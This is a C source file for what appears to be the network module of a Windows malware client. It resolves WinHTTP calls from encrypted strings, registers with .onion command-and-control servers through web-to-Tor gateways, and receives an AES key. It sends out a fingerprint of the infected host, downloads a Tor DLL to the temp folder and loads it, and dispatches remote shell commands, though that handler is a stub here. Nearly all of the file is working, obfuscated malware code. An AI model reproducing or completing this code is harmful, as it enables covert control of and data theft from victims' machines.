/* * Module: http.c * Author: Toni * Purpose: Basic HTTP/HTTPS communication. */ #include "compat.h" #ifdef __MINGW32__ #include "http.h" #include "math.h" #include "utils.h" #include "file.h" #include "crypt.h" #include "crypt_strings.h" typedef HINTERNET (WINAPI *WinHttpOpenFunc) (LPCWSTR, DWORD, LPCWSTR, LPCWSTR, DWORD); typedef BOOL (WINAPI *WinHttpCloseHandleFunc) (HINTERNET); typedef BOOL (WINAPI *WinHttpQueryOptionFunc) (HINTERNET, DWORD, LPVOID, LPDWORD); typedef WINHTTP_STATUS_CALLBACK (WINAPI *WinHttpSetStatusCallbackFunc)(HINTERNET, WINHTTP_STATUS_CALLBACK, DWORD, DWORD_PTR); typedef HINTERNET (WINAPI *WinHttpConnectFunc) (HINTERNET, LPCWSTR, INTERNET_PORT, DWORD); typedef HINTERNET (WINAPI *WinHttpOpenRequestFunc) (HINTERNET, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR*, DWORD); typedef BOOL (WINAPI *WinHttpSendRequestFunc) (HINTERNET, LPCWSTR, DWORD, LPVOID, DWORD, DWORD, DWORD_PTR); typedef BOOL (WINAPI *WinHttpReceiveResponseFunc) (HINTERNET, LPVOID); typedef BOOL (WINAPI *WinHttpQueryDataAvailableFunc)(HINTERNET, LPDWORD); typedef BOOL (WINAPI *WinHttpQueryHeadersFunc) (HINTERNET, DWORD, LPCWSTR, LPVOID, LPDWORD, LPDWORD); typedef BOOL (WINAPI *WinHttpReadDataFunc) (HINTERNET, LPVOID, DWORD, LPDWORD); typedef BOOL (WINAPI *WinHttpWriteDataFunc) (HINTERNET, LPCVOID, DWORD, LPDWORD); typedef BOOL (WINAPI *WinHttpAddRequestHeadersFunc)(HINTERNET, LPCWSTR, DWORD, DWORD); struct HttpApi { BOOL initialized; HINTERNET hSession; WinHttpOpenFunc Open; WinHttpCloseHandleFunc Close; WinHttpQueryOptionFunc Query; WinHttpSetStatusCallbackFunc SetCallback; WinHttpConnectFunc Connect; WinHttpOpenRequestFunc Request; WinHttpSendRequestFunc Send; WinHttpReceiveResponseFunc Respone; WinHttpQueryDataAvailableFunc Data; WinHttpQueryHeadersFunc Header; WinHttpReadDataFunc Read; WinHttpAddRequestHeadersFunc AddHdr; uint32_t state; /* client generated network info */ char sid[SID_LEN+1]; char startMarker[MARKER_SIZ+1]; /* server generated network info */ rrbuff aeskey[AESKEY_SIZ]; uint32_t next_ping; }; typedef int (*http_callback)(struct HttpApi *api, struct http_args *args); struct HttpCallback { uint16_t type; http_callback callback; uint16_t state; }; static struct HttpApi* hApi = NULL; #define HTTP_CALLBACK(name) static int name(struct HttpApi *api, struct http_args *args) HTTP_CALLBACK(rc_info_cb); HTTP_CALLBACK(rc_register_cb); HTTP_CALLBACK(rc_ping_cb); HTTP_CALLBACK(rc_shell_cb); #define HTTP_CALLBACK_ENTRY(rc, cb, st) { .type = rc, .callback = cb, .state = st } #define DEFAULT_HTTP_CALLBACK_ENTRY(rc, cb) HTTP_CALLBACK_ENTRY(rc, cb, 0) const struct HttpCallback callbacks[] = { DEFAULT_HTTP_CALLBACK_ENTRY(RC_INFO, rc_info_cb), HTTP_CALLBACK_ENTRY(RC_REGISTER, rc_register_cb, ST_UNAUTH), DEFAULT_HTTP_CALLBACK_ENTRY(RC_PING, rc_ping_cb), DEFAULT_HTTP_CALLBACK_ENTRY(RC_SHELL, rc_shell_cb), }; HTTP_CALLBACK(rc_info_cb) { (void)api; (void)args; return 0; } HTTP_CALLBACK(rc_register_cb) { (void)api; (void)args; return 0; } HTTP_CALLBACK(rc_ping_cb) { (void)api; (void)args; return 0; } HTTP_CALLBACK(rc_shell_cb) { (void)api; (void)args; return 0; } #define DECRYPT_AND_LIBGETPROC(i, lib, type, dest) { DBUF(i, tmp); dest = (type)getproc(lib, tmp); } #define DECRYPT_AND_GETPROC(i, type, dest) DECRYPT_AND_LIBGETPROC(i, httplib, type, dest) int initHttp(LoadLibraryFunc loadlib, GetProcAddressFunc getproc) { if (hApi == NULL) { hApi = COMPAT(calloc)(1, sizeof(struct HttpApi)); if (hApi == NULL) return ERR_HTTP_PRE; DBUF(HTTPDLL_ENUM, __nameHDLL); HMODULE httplib = loadlib(__nameHDLL); if (httplib == NULL) return ERR_HTTP_PRE; DECRYPT_AND_GETPROC(HTTPFUNC_OPEN_ENUM, WinHttpOpenFunc, hApi->Open); DECRYPT_AND_GETPROC(HTTPFUNC_CLOSE_ENUM, WinHttpCloseHandleFunc, hApi->Close); DECRYPT_AND_GETPROC(HTTPFUNC_QUERYOPT_ENUM, WinHttpQueryOptionFunc, hApi->Query); DECRYPT_AND_GETPROC(HTTPFUNC_CALLBACK_ENUM, WinHttpSetStatusCallbackFunc, hApi->SetCallback); DECRYPT_AND_GETPROC(HTTPFUNC_CONNECT_ENUM, WinHttpConnectFunc, hApi->Connect); DECRYPT_AND_GETPROC(HTTPFUNC_REQUEST_ENUM, WinHttpOpenRequestFunc, hApi->Request); DECRYPT_AND_GETPROC(HTTPFUNC_SEND_ENUM, WinHttpSendRequestFunc, hApi->Send); DECRYPT_AND_GETPROC(HTTPFUNC_RESPONSE_ENUM, WinHttpReceiveResponseFunc, hApi->Respone); DECRYPT_AND_GETPROC(HTTPFUNC_QUERYDATA_ENUM, WinHttpQueryDataAvailableFunc, hApi->Data); DECRYPT_AND_GETPROC(HTTPFUNC_QUERYHEADER_ENUM, WinHttpQueryHeadersFunc, hApi->Header); DECRYPT_AND_GETPROC(HTTPFUNC_READ_ENUM, WinHttpReadDataFunc, hApi->Read); DECRYPT_AND_GETPROC(HTTPFUNC_ADDHDR_ENUM, WinHttpAddRequestHeadersFunc, hApi->AddHdr); if (!hApi->Open || !hApi->Close || !hApi->Query || !hApi->SetCallback || !hApi->Connect || !hApi->Request || !hApi->Request || !hApi->Send || !hApi->Respone || !hApi->Data || !hApi->Header || !hApi->Read || !hApi->AddHdr) return ERR_HTTP_PRE; } char* sid = __genRandAlphaNumStr(SID_LEN); *(char*)(sid+0) &= (~SID_ZEROES1 & 0xFF); *(char*)(sid+1) &= (~SID_ZEROES0 & 0xFF); *(char*)(sid+2) &= (~SID_ZEROES1 & 0xFF); *(char*)(sid+3) &= (~SID_ZEROES1 & 0xFF); *(char*)(sid+4) &= (~SID_ZEROES0 & 0xFF); for (size_t i = 0; i < 5; ++i) if ( !isalpha(*(char*)(sid+i)) ) *(char*)(sid+i) = 0x42; COMPAT(memcpy)(&hApi->sid[0], sid, SID_LEN); COMPAT(free)(sid); char* marker = __genRandAlphaNumStr(MARKER_SIZ); COMPAT(memcpy)(&hApi->startMarker[0], marker, MARKER_SIZ); COMPAT(free)(marker); hApi->state = ST_UNAUTH; DBUF(HTTP_UA_ENUM, __ua); int wUaLen = 0; LPWSTR szwUa = COMPAT(toWideChar)(__ua, COMPAT(strnlen)(__ua, CLEN(HTTP_UA_ENUM)), &wUaLen); if (!hApi->initialized) { hApi->hSession = hApi->Open((wUaLen > 0 ? szwUa : NULL), WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0); hApi->initialized = (hApi->hSession != NULL); } COMPAT(free)(szwUa); return ERR_HTTP_OK; } #define RETEND(retval) { ret = retval; goto end; } int sendHttpRequest(http_args* htArgs, rrbuff* recv_buf, rrsize* recv_siz, DWORD* pStatusCode) { if (!hApi || hApi->initialized != TRUE) return ERR_HTTP_PRE; #ifdef _PRE_RELEASE COMPAT(printf)("%s: %s %s\r\n", htArgs->host, htArgs->method, htArgs->resource); #endif BOOL bResults = FALSE; HINTERNET hConnect = NULL, hRequest = NULL; LPWSTR szwHost = NULL, szwRes = NULL, szwMet = NULL; DWORD dwSize = 0; int ret = ERR_HTTP_OK; if (htArgs->hostLen > 0) { int wHostLen = 0; szwHost = COMPAT(toWideChar)(htArgs->host, htArgs->hostLen, &wHostLen); if (wHostLen > 0 && szwHost) { hConnect = hApi->Connect(hApi->hSession, szwHost, #ifndef _HTTP_LOCALHOST INTERNET_DEFAULT_HTTP_PORT #else 8080 #endif , 0); } } else RETEND(ERR_HTTP_PRE); if (hConnect) { int wResLen = 0; szwRes = COMPAT(toWideChar)(htArgs->resource, htArgs->resourceLen, &wResLen); int wMetLen = 0; szwMet = COMPAT(toWideChar)(htArgs->method, htArgs->methodLen, &wMetLen); hRequest = hApi->Request(hConnect, szwMet, szwRes, NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_REFRESH); } else RETEND(ERR_HTTP_CONNECT); if (hRequest) { if (htArgs->uploadLen == 0) { bResults = hApi->Send(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, WINHTTP_NO_REQUEST_DATA, 0, 0, 0); } else { DBUF(HTTP_HEADERS_ENUM, __hdr); int szwHeaderLen = 0; LPWSTR szwHeader = COMPAT(toWideChar)(__hdr, COMPAT(strnlen)(__hdr, CLEN(HTTP_HEADERS_ENUM)), &szwHeaderLen); if (hApi->AddHdr(hRequest, szwHeader, szwHeaderLen, WINHTTP_ADDREQ_FLAG_ADD | WINHTTP_ADDREQ_FLAG_REPLACE) == TRUE) { bResults = hApi->Send(hRequest, WINHTTP_NO_ADDITIONAL_HEADERS, 0, htArgs->upload, htArgs->uploadLen, htArgs->uploadLen, 0); } else { #ifdef _PRE_RELEASE COMPAT(printf)("AddHeader failed with %u (%X)\n", (unsigned)_GetLastError(), (unsigned)_GetLastError()); #endif } COMPAT(free)(szwHeader); } } else RETEND(ERR_HTTP_REQUEST); if (bResults == TRUE) { bResults = hApi->Respone(hRequest, NULL); } else RETEND(ERR_HTTP_SEND); if (pStatusCode && bResults == TRUE) { dwSize = sizeof(*pStatusCode); bResults = hApi->Header(hRequest, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, pStatusCode, &dwSize, WINHTTP_NO_HEADER_INDEX); } DWORD dwCurExp = 12, dwCurUsd = 0; DWORD dwCurMax = __pow(2, dwCurExp); rrbuff Recv = calloc(dwCurMax, 1); if (bResults && *pStatusCode == 200 && recv_buf && recv_siz) { do { if (!hApi->Data(hRequest, &dwSize)) dwSize = 0; if (!dwSize) break; #ifdef _PRE_RELEASE COMPAT(printf)("Chunk Size: %u\t(%u/%u)\n", (unsigned)dwSize, (unsigned)dwCurUsd, (unsigned)dwCurMax); #endif while (dwCurMax <= dwCurUsd + dwSize) { dwCurExp++; dwCurMax = __pow(2, dwCurExp); Recv = COMPAT(realloc)(Recv, dwCurMax); } DWORD dwDownloaded; if (!hApi->Read(hRequest, (rrbuff)(Recv + dwCurUsd), dwSize, &dwDownloaded)) { RETEND(ERR_HTTP_READ); } dwCurUsd += dwDownloaded; } while (dwSize > 0); *recv_buf = Recv; *recv_siz = dwCurUsd; } else { RETEND(ERR_HTTP_RESPONSE); } end: if (hRequest) hApi->Close(hConnect); if (hConnect) hApi->Close(hRequest); COMPAT(free)(szwHost); COMPAT(free)(szwRes); COMPAT(free)(szwMet); return ret; } int sendWeb2Tor(LPCSTR resource, LPCSTR method, rrbuff send_buf, rrsize send_siz, rrbuff* recv_buf, rrsize* recv_siz) { #ifdef _HTTP_LOCALHOST DBUF(HTTP_HOST_LOCAL_ENUM, __localHost); #else DBUF(HTTP_HOSTS_ENUM, __hosts); DBUF(HTTP_ONION_ENUM, __onionHost); #endif char* cur = NULL; char* end = NULL; int ret = -1; #ifdef _HTTP_LOCALHOST while (get_string_in_strings_d(__localHost, &cur, &end) == 0) #else while (get_string_in_strings_d(__hosts, &cur, &end) == 0) #endif { #ifdef _HTTP_LOCALHOST char* szRealHost = __localHost; #else size_t nRealHost = COMPAT(strlen)(__onionHost) + COMPAT(strlen)(cur); char* szRealHost = COMPAT(calloc)(nRealHost + 1, sizeof(char)); COMPAT(snprintf)(szRealHost, nRealHost + 1, cur, __onionHost); #endif struct http_args hArgs = {0}; hArgs.host = szRealHost; hArgs.hostLen = strlen(hArgs.host); hArgs.resource = resource; hArgs.resourceLen = strlen(hArgs.resource); hArgs.method = method; hArgs.methodLen = strlen(hArgs.method); hArgs.upload = send_buf; hArgs.uploadLen = send_siz; rrbuff szOut = NULL; rrsize outSiz = 0; DWORD dwStatus = 0; if ( (ret = sendHttpRequest(&hArgs, &szOut, &outSiz, &dwStatus)) != 0) { #ifdef _PRE_RELEASE COMPAT(printf)("HTTP ERROR(Return: %d, Status: %d, Recv: %u): %s %s %s\n", ret, (int)dwStatus, (unsigned)outSiz, method, szRealHost, resource); #endif } else { #ifdef _PRE_RELEASE COMPAT(printf)("HTTP(Return: %d, Status: %d, Recv: %u):\n\t%s %s %s\n\tSIZE: %u\n", ret, (int)dwStatus, (unsigned)outSiz, method, szRealHost, resource, (unsigned)send_siz); #endif } if (recv_siz) { *recv_siz = outSiz; } if (recv_buf) { *recv_buf = szOut; } else { COMPAT(free)(szOut); } COMPAT(free)(szRealHost); if (dwStatus == 200) break; } return ret; } static inline int downloadFileToMem(LPCSTR resource, LPCSTR method, rrbuff* p_buf, rrsize* pn_buf) { return sendWeb2Tor(resource, method, NULL, 0, p_buf, pn_buf); } int downloadLibtor(char** pLibPath) { if (!hApi) return ERR_HTTP_PRE; DBUF(DLLSECTION_ENUM, __path); DBUF(HTTP_URI_LIBTOR_ENUM, __fmt); SIZE_T resLen = COMPAT(strnlen)(__fmt, CLEN(HTTP_URI_LIBTOR_ENUM)) + COMPAT(strnlen)(__path, CLEN(DLLSECTION_ENUM)) + SID_LEN + 1; LPSTR res = COMPAT(calloc)(resLen, sizeof(char)); COMPAT(snprintf)(res, resLen, __fmt, __path, &hApi->sid[0]); DBUF(HTTP_METHOD_ENUM, __meth); rrbuff rbuf = NULL; rrsize rsiz = 0; int ret = downloadFileToMem(res, __meth, &rbuf, &rsiz); if (ret == ERR_HTTP_OK) { if (rbuf && rsiz > 0) { DBUF(HTTP_LIBTOR_DLL_ENUM, __libonion_fmt); char* __libonion_path = COMPAT(calloc)(MAX_PATH+1, sizeof(char)); char* __tmp_path = COMPAT(calloc)(MAX_PATH+1, sizeof(char)); if (_GetTempPath(MAX_PATH, __tmp_path) <= 0 || COMPAT(snprintf)(__libonion_path, MAX_PATH+1, __libonion_fmt, __tmp_path) <= 0 || bBufToFileName(__libonion_path, OF_WRITEACCESS|OF_CREATENEW, rbuf, rsiz) != TRUE) { ret = -1; } #ifdef _PRE_RELEASE COMPAT(printf)("Saved DLL (%u bytes) to: %s\n", rsiz, __libonion_path); #endif COMPAT(free)(__tmp_path); if (!pLibPath) { COMPAT(free)(__libonion_path); } else { *pLibPath = __libonion_path; } COMPAT(free)(rbuf); } } else ret = -2; COMPAT(free)(res); return ret; } tor_main_t loadLibtor(char* libPath, HMODULE* hmod, LoadLibraryFunc loadlib, GetProcAddressFunc getproc) { HMODULE lib = loadlib(libPath); tor_main_t tm = NULL; if (lib) { if (hmod) *hmod = lib; DBUF(HTTP_LIBTOR_MAIN_ENUM, __proc); tm = (tor_main_t) getproc(lib, __proc); } return tm; } int sendRequest(rrcode query_code, rrbuff send_buf, rrsize send_siz, rrbuff* recv_buf, rrsize* recv_siz) { if (!hApi) return ERR_HTTP_PRE; DBUF(DLLSECTION_ENUM, __path); DBUF(HTTP_URI_ENUM, __fmt); SIZE_T resLen = COMPAT(strlen)(__fmt) + COMPAT(strlen)(__path) + SID_LEN + MARKER_SIZ + RND_LEN + 1; LPSTR res = COMPAT(calloc)(resLen, sizeof(char)); LPSTR rnd = __genRandAlphaNumStr(RND_LEN); COMPAT(snprintf)(res, resLen, __fmt, __path, &hApi->sid[0], &hApi->startMarker[0], rnd); DBUF(HTTP_METHOD_ENUM, __meth); DBUF(HTTP_SUBHEADERS_BEG_ENUM, __subhdr_beg); DBUF(HTTP_SUBHEADERS_END_ENUM, __subhdr_end); size_t __subhdr_beg_len = COMPAT(strnlen)(__subhdr_beg, CLEN(HTTP_SUBHEADERS_BEG_ENUM)); size_t __subhdr_end_len = COMPAT(strnlen)(__subhdr_end, CLEN(HTTP_SUBHEADERS_END_ENUM)); rrbuff reqbuf = COMPAT(calloc)(sizeof(struct http_resp) + send_siz + __subhdr_beg_len + __subhdr_end_len, 1); COMPAT(memcpy)(reqbuf, __subhdr_beg, __subhdr_beg_len); COMPAT(memcpy)(reqbuf + __subhdr_beg_len + send_siz + sizeof(struct http_resp), __subhdr_end, __subhdr_end_len); struct http_resp* req = (struct http_resp*)(reqbuf + __subhdr_beg_len); COMPAT(memcpy)(&req->startMarker[0], &hApi->startMarker[0], MARKER_SIZ); req->respCode = query_code; req->pkgsiz = send_siz; if (req && send_buf && send_siz > 0) { COMPAT(memcpy)(&req->pkgbuf[0], send_buf, send_siz); } int ret = sendWeb2Tor(res, __meth, reqbuf, sizeof(struct http_resp) + send_siz + __subhdr_beg_len + __subhdr_end_len, recv_buf, recv_siz); COMPAT(free)(req); COMPAT(free)(rnd); COMPAT(free)(res); return ret; } static int parseAndRunShell(http_resp* hResp) { if (hResp->pkgsiz < sizeof(struct resp_shell)) return 0x89; struct resp_shell* rsp = (struct resp_shell*)hResp->pkgbuf; if (hResp->pkgsiz != sizeof(struct resp_shell) + rsp->fileLen + rsp->paramLen + rsp->dirLen) return 0x22; return 0; } static struct req_info* createInfo(rrsize* totalSize) { #define MAX_DEVS 16 char* cmdLine = _GetCommandLine(); uint16_t cmdLineLen = COMPAT(strlen)(cmdLine); struct LogicalDrives* devs = COMPAT(calloc)(MAX_DEVS, sizeof(struct LogicalDrives)); uint8_t devsLen = dwEnumDrives(devs, MAX_DEVS); rrsize __totalSize = sizeof(struct req_info) + \ cmdLineLen*sizeof(char) + \ devsLen*sizeof(struct LogicalDrives); struct req_info* ri = COMPAT(calloc)(1, __totalSize); if (totalSize) *totalSize = __totalSize; if (!ri) return NULL; rrbuff dataPtr = ri->data; _GetSystemInfo(&ri->si); _GetCurrentHwProfile(&ri->hw); COMPAT(memcpy)(dataPtr, cmdLine, cmdLineLen); ri->cmdLineLen = cmdLineLen; dataPtr += cmdLineLen; COMPAT(memcpy)(dataPtr, devs, devsLen*sizeof(struct LogicalDrives)); ri->devsLen = devsLen; COMPAT(free)(devs); return ri; } int httpLoopAtLeastOnce(void) { int ret = -1; rrbuff recv = NULL, send = NULL; rrsize rsiz = 0, ssiz = 0; rrcode nextCode = 0; if (hApi->state & ST_UNAUTH) { nextCode = RC_REGISTER; } rflags lastFlags; do { lastFlags = 0; /* Client side actions */ if (nextCode == 0) { nextCode = RC_PING; } #ifdef _PRE_RELEASE COMPAT(printf)("SendRequest(Code: %u (0x%X), Size: %u (0x%X))\n", nextCode, nextCode, ssiz, ssiz); #endif int sret = sendRequest(nextCode, send, ssiz, &recv, &rsiz); nextCode = 0; if (send && ssiz > 0) { COMPAT(free)(send); send = NULL; ssiz = 0; } /* Server side actions */ if (sret == ERR_HTTP_OK && rsiz > 0) { size_t bufOff = 0; http_resp* hResp = NULL; while ((ret = parseResponse(recv, rsiz, &hResp, &bufOff, &hApi->startMarker[0])) == RSP_OK && hResp) { lastFlags = hResp->respFlags; if (hApi->state & ST_UNAUTH || hResp->respCode == RC_REGISTER) { /* request aeskey, etc, ... */ if (hResp->respCode != RC_REGISTER || hResp->pkgsiz != sizeof(struct resp_register)) { #ifdef _PRE_RELEASE COMPAT(printf)("I wanted an RC_REGISTER pkg but did not get a valid one! (Code: %u (0x%X), Size: %u (0x%X))\n", hResp->respCode, hResp->respCode, hResp->pkgsiz, hResp->pkgsiz); #endif continue; } struct resp_register* rsp = (struct resp_register*)&hResp->pkgbuf[0]; COMPAT(memcpy)(&hApi->aeskey[0], &rsp->aeskey[0], AESKEY_SIZ); #ifdef _PRE_RELEASE if (!(hApi->state & ST_UNAUTH)) { COMPAT(printf)("%s\n", "Re-Register forced"); } #endif hApi->state &= ~ST_UNAUTH; #ifdef _PRE_RELEASE COMPAT(printf)("AES key: "); __printByteBuf((const rrbuff)&hApi->aeskey[0], AESKEY_SIZ); COMPAT(printf)("Next Ping: %u (0x%X)\n", rsp->next_ping, rsp->next_ping); #endif } else if (hResp->respCode == RC_PING) { /* ping */ struct resp_pong* rsp = (struct resp_pong*)&hResp->pkgbuf[0]; hApi->next_ping = rsp->next_ping; #ifdef _PRE_RELEASE COMPAT(printf)("PING-PONG: Next Ping: %u (0x%X)\n", rsp->next_ping, rsp->next_ping); #endif } else if (hResp->respCode == RC_INFO) { /* send host info */ send = (rrbuff)createInfo(&ssiz); nextCode = RC_INFO; lastFlags = RF_AGAIN; break; } else if (hResp->respCode == RC_SHELL) { /* execute shell */ if (parseAndRunShell(hResp) == 0) { } } #ifdef _PRE_RELEASE if (hResp->respFlags == RF_ERROR) { COMPAT(printf)("Response (Code: %d (0x%X)) failed.\n", hResp->respCode, hResp->respCode); } #endif } } /* free memory */ if (recv && rsiz > 0) { COMPAT(free)(recv); recv = NULL; rsiz = 0; } } while (lastFlags == RF_AGAIN); #ifdef _PRE_RELEASE if (ret != -1) COMPAT(printf)("Last parseResponse returned: %d\n", ret); #ifdef _EXTRA_VERBOSE COMPAT(printf)("%s\n", "----- End Of Response -----"); #endif #endif return ret; } uint32_t getNextPingTime(void) { if (hApi) return hApi->next_ping; else return 0; } #endif /* __MINGW32__ */ #include "http.h" #include "compat.h" #ifdef _HOST_TOOLS #include "helper.h" #include "utils.h" #endif int parseResponse(const rrbuff recv_buf, rrsize recv_siz, http_resp** hResp, size_t* pBufOff, const char* startMarker) { if (!hResp || !pBufOff) return RSP_ERR; if (*pBufOff >= recv_siz) return RSP_ERR; recv_siz -= *pBufOff; /* check start marker */ const rrbuff marker = (const rrbuff) COMPAT(memmem)((recv_buf + *pBufOff), recv_siz, startMarker, MARKER_SIZ); if (!marker) return RSP_PROTOCOL; rrsize rel_size = (marker - (recv_buf + *pBufOff)); recv_siz -= rel_size; *pBufOff += rel_size; /* check minimal protocol size */ if (recv_siz < sizeof(struct http_resp)) return RSP_WRONGSIZE; recv_siz -= sizeof(struct http_resp); /* get ptr */ *hResp = (http_resp*)marker; /* validate pkg size */ if ((*hResp)->pkgsiz > recv_siz) return RSP_WRONGPKGSIZE; *pBufOff += sizeof(struct http_resp) + (*hResp)->pkgsiz; /* validate RFs and RCs */ bool flagFound = false; /* validate RFs */ rflags rfs[] = RF_ALL; if ((*hResp)->respFlags != 0) { /* client should never set rflags another value then 0 */ for (unsigned i = 0; i < SIZEOF(rfs); ++i) { if (rfs[i] == (*hResp)->respFlags) { flagFound = true; break; } } if (! flagFound) return RSP_PROTOCOL_FLAG; } flagFound = false; /* validate RCs */ rrcode rcs[] = RC_ALL; for (unsigned i = 0; i < SIZEOF(rcs); ++i) { if (rcs[i] == (*hResp)->respCode) { flagFound = true; break; } } if (! flagFound) return RSP_PROTOCOL_CODE; #ifdef _PRE_RELEASE COMPAT(printf)("HTTP RESPONSE(Size: %u, Code: %u (0x%X), Flags: %u (0x%X))\n", (rrsize)(*hResp)->pkgsiz, (*hResp)->respCode, (*hResp)->respCode, (*hResp)->respFlags, (*hResp)->respFlags); #ifdef _EXTRA_VERBOSE if ((*hResp)->pkgsiz > 0) { const rrbuff pkg = (const rrbuff) &(*hResp)->pkgbuf[0]; COMPAT(printf)("HTTP DATA(buf: %p, pkg: %p): ", marker, pkg); __printByteBuf(pkg, (*hResp)->pkgsiz); } #endif #endif return RSP_OK; } int addRequest(rrbuff* send_buf, rrsize* send_siz, struct http_resp* hresp) { uint8_t sizA = (uint8_t)__rdtsc(); uint8_t sizB = (uint8_t)__rdtsc(); rrsize new_siz = *send_siz + sizA + sizeof(*hresp) + hresp->pkgsiz + sizB; if (*send_buf) *send_buf = COMPAT(realloc)(*send_buf, new_siz*sizeof(**send_buf)); else *send_buf = COMPAT(calloc)(new_siz, sizeof(**send_buf)); if (! *send_buf) return RSP_ERR; rrbuff new_buf = *send_buf + *send_siz; COMPAT(memset)(new_buf, 'A', sizA); COMPAT(memcpy)(new_buf + sizA, hresp, sizeof(*hresp) + hresp->pkgsiz); COMPAT(memset)(new_buf + sizA + sizeof(*hresp) + hresp->pkgsiz, 'B', sizB); *send_siz = new_siz; return RSP_OK; }